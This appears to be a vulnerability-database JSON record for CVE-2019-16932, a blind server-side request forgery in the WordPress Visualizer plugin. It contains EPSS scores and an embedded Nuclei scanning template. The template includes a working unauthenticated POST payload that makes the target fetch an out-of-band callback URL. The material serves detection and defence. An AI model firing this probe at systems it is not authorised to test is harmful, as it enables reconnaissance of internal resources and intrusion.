{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2019-16932/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2019-16932/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2019-16932/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2019-16932/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2019-16932/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2019-16932"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2019-16932"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": false
    },
    "epss": {
      "epss": 0.39137,
      "kev": false,
      "percentile": 0.98532
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2019/CVE-2019-16932.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2019-16932\n\ninfo:\n  name: Visualizer <3.3.1 - Blind Server-Side Request Forgery\n  author: akincibor\n  severity: critical\n  description: |\n    Visualizer prior to 3.3.1 suffers from a blind server-side request forgery vulnerability via the /wp-json/visualizer/v1/upload-data endpoint.\n  impact: |\n    An attacker can exploit this vulnerability to send crafted requests to internal resources, potentially leading to unauthorized access or data leakage.\n  remediation: |\n    Update Visualizer plugin to version 3.3.1 or later to fix the SSRF vulnerability.\n  reference:\n    - https://wpscan.com/vulnerability/9892\n    - https://nathandavison.com/blog/wordpress-visualizer-plugin-xss-and-ssrf\n    - https://nvd.nist.gov/vuln/detail/CVE-2019-16932\n    - https://wordpress.org/plugins/visualizer/#developers\n    - https://wpvulndb.com/vulnerabilities/9892\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N\n    cvss-score: 10\n    cve-id: CVE-2019-16932\n    cwe-id: CWE-918\n    epss-score: 0.39137\n    epss-percentile: 0.98532\n    cpe: cpe:2.3:a:themeisle:visualizer:*:*:*:*:*:wordpress:*:*\n  metadata:\n    max-request: 2\n    vendor: themeisle\n    product: visualizer\n    framework: wordpress\n  tags: cve,cve2019,wp-plugin,ssrf,wordpress,oast,unauth,wpscan,intrusive,themeisle,xss,vkev,vuln\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /wp-content/plugins/visualizer/readme.txt HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: word\n        internal: true\n        words:\n          - 'Visualizer'\n          - 'Tested up to:'\n        condition: and\n\n  - method: POST\n    path:\n      - \"{{BaseURL}}/wp-json/visualizer/v1/upload-data\"\n\n    body: '{\\\"url\\\":\\\"http://{{interactsh-url}}\\\"}'\n\n    headers:\n      Content-Type: application/x-www-form-urlencoded\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        name: http\n        part: interactsh_protocol\n        words:\n          - http\n\n      - type: word\n        part: header\n        words:\n          - application/json\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a004830460221008854579cc9b221330b324736c488f314fad6db4068b99d4bbdcede2e9c024392022100fcb2671d20f08abe5b6b7a3eb600e7e255be8888381fe4b912f236546d55f6fd:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2019-16932"
}